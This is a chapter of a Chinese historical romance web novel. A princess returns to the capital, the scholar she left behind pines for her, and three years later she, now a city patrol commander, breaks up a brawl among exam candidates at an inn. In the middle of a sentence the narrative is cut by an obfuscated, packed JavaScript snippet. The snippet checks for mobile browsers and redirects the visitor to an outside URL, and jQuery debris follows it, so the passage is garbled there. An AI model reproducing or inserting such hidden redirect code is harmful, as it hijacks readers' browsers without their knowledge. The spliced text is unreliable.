李殊玉三步并作两步赶到村口,卫栩正站在马旁,见她过来,好奇地打量她,“你干什么去了?”
“给他留了点报酬。”李殊玉翻身上马,动作利落。
卫栩斜睨她,“又花我的银子?”
“又不是不还你!赶紧走!”李殊玉一夹马腹,率先向前。她也弄不明白此刻心里的感受,想逃又想回头。她忍不住朝后瞧了一眼,除了热情送行的村民,什么都没有。
张婶挤到最前面,冲她喊道,“小玉,什么时候再来张婶家吃饭?”
李殊玉扬起笑容,“得空我再来,张婶的手艺我可惦记着呢!”
张婶在围裙上蹭了蹭手,笑道,“小沈每次也是这么说,但若我不给他送菜,他从不主动过来。”
李殊玉的目光微微一滞,随即移开视线,略显不自然地道,“张婶,我该走了,您多保重身体。”
“好,好,路上小心。”张婶领着村民给他们让出一条道。
几十人的队伍策马疾行,很快便消失在村口尽头。
沈恒的手被烫出几个水泡,他却浑然不觉。他把信封收好,揣进怀里,忽然疯了一般冲出院门。
待他靠近村口,遇到三三两两往回走的村民,他才确信她真的离开了。
“小沈,人已经走了,你来的不时候。”张婶停在他身前。
他的目光凝视村口的方向,眼眸轻颤。
张婶拍了拍他的肩,“她不是你的未婚妻。”
沈恒猛地回神,失魂落魄垂下头。
“我方才听人叫她郡主,没想到性子如此活泼亲和。若她是个普通姑娘,张婶打心眼里替你高兴。”张婶叹口气。
她似乎看透了沈恒心底的秘事,语气温和下来,“孩子,你还年轻。你有功名要考,有自己该走的路。”
他又何尝不知,自他爹娘身亡草草结案之时,他要走的便是一条天堑。
他本觉得灰暗的日子早已如此,再不会有什么不同。
直到她闯进那间狭小的院子。
他以为迎来了明媚的烈日,可那道光只是飞快地照了他一瞬,又转身毫不留情地离开。
不论是坐在案前陪他看书的她,还是轻易从房顶跃下的她,始终亮眼、炽热、遥远无边。
还有她身边那个男子,同她一样身手不凡。
她大约会喜欢那样的人吧。
不像他,整日只会看书,天地全拘在一方小屋之中。
沈恒站在原地一动不动,连张婶何时离开都未曾察觉。
掌心的水泡被他无意识地攥破,火辣辣地疼。
他忽然明白,有些人若想再见,便不能只站在原地仰望。
李殊玉一行人快马加鞭,不过大半日便赶回京城。
抵达城门时,天色已暗。二皇子李晏已在城门口等候。
“堂兄!”
“参见二皇子。”
众人下马行礼,李晏摆手示意免礼。
“堂兄,人抓到了,说好的军职可不能反悔。”
李晏失笑,“路上可有异常?”
李殊玉道,“他逃了这么久,没成想最后却回了故乡。”
卫栩牵着马走近,语气随意,“我们翻查旧籍时发现,当年青泽府同一任知府治下,有几人先后出事。有人死于‘意外’,有人离任后失踪,此人亦在其中。如今只剩他一人尚在。殿下本不欲深究,只命人暗中打听。谁知消息才放出去,他便闻风而遁,反倒露了形迹。”
李晏淡淡道,“所以要活口。”
“嗯。”李殊玉点头。
李晏看她一眼,“我现下进宫回禀,你们先回府歇息。”
李殊玉立刻精神起来,“别忘了我的兵。”
李晏笑道,“少不了你的。”
李殊玉终于露出心满意足的表情。
当晚,她躺在自己久违的床榻,长舒一口气。睡了一个多月的硬木板,还是自家的床最舒服。
“郡主,歇下了吗?肚子饿不饿?荀姨给你做点宵夜?”屋外传来奶娘的声音,李殊玉浑身一震,立刻把被子拉过头顶。
“这孩子肯定累坏了,让她好好睡吧!”柳伯在一旁劝道。
自靖王夫妇牺牲后,这两位西境府里的老人执意要陪她进京。照料了多年的孩子,左右放心不下。于是拖家带口留在京中,守着她。
“一回来就沐浴歇下了,万一没吃饭......”两人的声音渐渐远了,李殊玉从被子里钻出来。
还是柳伯懂她。荀姨什么都好,唯独做饭太难吃,明明府里有厨娘,却总喜欢亲自下厨。
小书生这会儿,大概已经吃完饭,坐在灯下读书了吧。
她忽地想到她的木簪,那是长在西境府里的一株旧木制成的,还是当年她爹替她磨的。
“算了。”
她翻了个身。
“过些日子派人去赎便是。”
她很快便把这件事抛到了脑后。
三年转瞬而过。
李殊玉如愿以偿被任命为中城兵马司指挥。
可京城太平,她每日处理的不是街市纠纷,便是权贵府邸的鸡毛蒜皮。更遑论她管辖的中城,满街不是皇亲就是权贵,寻常百姓都少见,绝不可能出现让她动刀的贼子。
她这才反应过来被坑了,不仅接了个烂摊子,还顺带得罪一圈贵人。难怪皇伯父把此事派给她,原来是指望她这个刺头去收拾另一群刺头。
李殊玉憋了一肚子火,但是压根找不到发泄机会。
官职给了,兵马给了,连兵器都配齐了,她还能怎么办?这般下去,她何时才能证明自己,有资格回到西境领兵。
至于暮云村那段短暂的行程,她早已记不清那位沈公子的名字。
这几日,中城里常被她收拾的几个纨绔都收敛不少,生怕李殊玉找他们出气。
更别提中城兵马司了,底下官员,人人自危。
“大人,马上要会试了,今年入京的举子比往年多出许多。上面交待,城内的布防得加强巡查,以免有不轨之心的人借机生事。”副指挥苏辰英硬着头皮进了签押房,李殊玉正两手托着下颌,双眼发直盯着一处。
苏辰英话音刚落,她又觉火大,“尽管让他们来,我求之不得。”
“报!指挥、副指挥大人,中城与南城交界处的川顺客栈,有人闹事!”一个小兵飞奔而来。
李殊玉一脚踢开椅子,双眼瞬间亮了,“正愁无处动手,倒有人送上门来。辰英,咱们走。”
苏辰英眼色快给小兵使烂了,小兵连头都没抬起,沾沾自喜继续道,“大人,属下得了消息便先赶来报信,就怕被南城的人抢了去。”
李殊玉身形一闪,人已在门外,路过小兵还不忘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275007|198198||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拍拍肩膀以示鼓励。
“辰英!快点跟上!”
苏辰英叹口气,在小兵头上点了一下,留下他在原地百思不得其解。
半柱香后,李殊玉和苏辰英带着五六个人停在川顺客栈门口。
明明是白日,偌大一个客栈竟大门紧闭。她打量了四周一圈,看来南城兵马司的人迟她一步。不过这客栈倒是挺有意思,一半落在中城,一半落在南城。估计再不快点插手,别人就要插手了。
“砰!”客栈内忽然冒出几声巨响,像是桌椅被掀翻的动静,紧接着又是一阵喧嚷。
李殊玉与苏辰英对视一眼,齐齐翻身下马。两扇大门从里头落了闩,锁得死死的。
她抬了抬下巴,“辰英,撞开。”
苏辰英犹豫一瞬,抬脚踹去,门闩应声而断,木门猛地向内弹开。
里面乌泱泱一片,全是文弱书生,有人揪着衣襟互相拉扯,有人面红耳赤争吵,还有几人干脆滚作一团,躺在地上厮打。
好不壮观。
大门被硬生生踹开,众人像被掐住喉咙,神情震惊,目光刷地聚向门口。
李殊玉从未见过这番景象,但还是压不住内心的失望,拔刀的机会又落空了,她颇有些意兴阑珊。但她毕竟来了,还是得把这事处理了才行,她慢悠悠踱了几步才入内。
“既能入会试,想必诸位都读过圣贤书。”她声音清亮,听起来比寻常女子多了几分力量,“偏在会试前夕拉拉扯扯。若是伤到手,可就得不偿失了。”
众人不认识她,却又因她身上的罩甲与腰间佩刀,神色犹豫。
“阁下是何人?”人群中传来一声。
“此地归我管,你说我是谁?”李殊玉一脚踩在一旁木凳上,木纹当即裂开几道细缝。
离她较近的几人,脸色蓦地发白,忙不迭退后几步,生怕因退得慢,这脚会落在他们身上。
苏辰英嘴角微抽,心中已替那些书生捏了把汗。指挥大人若真动起手来,怕是没人拦得住。
“信不信我把此事往上呈一呈,你们连考场的门都进不得。”
“你凭什么!”有人梗着脖子不满道。
“凭你们聚众闹事,凭你们打扰旁人休息,凭你们毁坏客栈财物。”
书生们赶紧把手里抓着的物件一股脑放下。偏有胆肥的,躲在人群里叫嚷,“大人,你也踩坏了客栈的木凳,凭......”
话未说完,李殊玉随手一掷。
一枚金元宝稳稳嵌入掌柜身旁的木桌。
原本缩在角落里抱头躲避的掌柜,此刻更是抖得如同筛糠。
“说吧,究竟怎么回事。”李殊玉踢开那把裂了缝的椅子,另拉过一张椅子坐下。
这些人面面相觑,无人开口。
“哑巴了?方才不是还骂得挺起劲?”李殊玉目光如刀,来来回回刮着他们,“再不开口,一会儿就没机会了。”
“这位大人,小民知道!”二楼走廊忽然冒出一颗脑袋,面容稚嫩,衣着朴素,应是个书童。
小书童生怕楼下的人听不见,大喊道,“他们抢客栈的房次呢!谁都不愿意住尾号房!我家公子大度,选了尾号房,他们又开始抢头号房。”
李殊玉抬眸,笑道,“你家公子倒是能沉住气。”
小书童正欲再说,他身后的房门却先“吱呀”一声打开了。